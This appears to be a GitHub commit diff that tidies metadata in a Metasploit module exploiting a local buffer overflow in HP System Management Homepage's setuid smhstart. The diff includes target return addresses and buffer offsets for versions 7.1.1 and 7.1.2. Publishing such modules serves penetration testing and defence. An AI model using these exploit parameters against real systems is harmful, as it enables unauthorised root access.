Skip to content

Commit 0c25ffb

Browse files
author
jvazquez-r7
committed
Landing rapid7#1695, agix's smhstart local root exploit
1 parent 55302ee commit 0c25ffb

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

modules/exploits/linux/local/hp_smhstart.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -23,12 +23,14 @@ def initialize(info={})
2323
super( update_info( info, {
2424
'Name' => 'HP System Management Homepage Local Privilege Escalation',
2525
'Description' => %q{
26-
Versions of hpsmh <= 7.1.1 setuid root smhstart is vulnerable to local buffer overflow in SSL_SHARE_BASE_DIR env variable.
26+
Versions of HP System Management Homepage <= 7.1.2 include a setuid root
27+
smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR
28+
env variable.
2729
},
2830
'License' => MSF_LICENSE,
2931
'Author' =>
3032
[
31-
'agix' #@agixid
33+
'agix' # @agixid # Vulnerability discovery and Metasploit module
3234
],
3335
'Platform' => [ 'linux' ],
3436
'Arch' => [ ARCH_X86 ],
@@ -40,21 +42,21 @@ def initialize(info={})
4042
},
4143
'References' =>
4244
[
43-
['OSVDB', '91812'] #not exactly but there is none...
45+
['OSVDB', '91990']
4446
],
4547
'Targets' =>
4648
[
47-
[ 'Hpsmh 7.1.1',
49+
[ 'HP System Management Homepage 7.1.1',
4850
{
4951
'Arch' => ARCH_X86,
50-
'CallEsp' => 0x080c86eb, #call esp
52+
'CallEsp' => 0x080c86eb, # call esp
5153
'Offset' => 58
5254
}
5355
],
54-
[ 'Hpsmh 7.1.2',
56+
[ 'HP System Management Homepage 7.1.2',
5557
{
5658
'Arch' => ARCH_X86,
57-
'CallEsp' => 0x080c8b9b, #call esp
59+
'CallEsp' => 0x080c8b9b, # call esp
5860
'Offset' => 58
5961
}
6062
],

0 commit comments

Comments
 (0)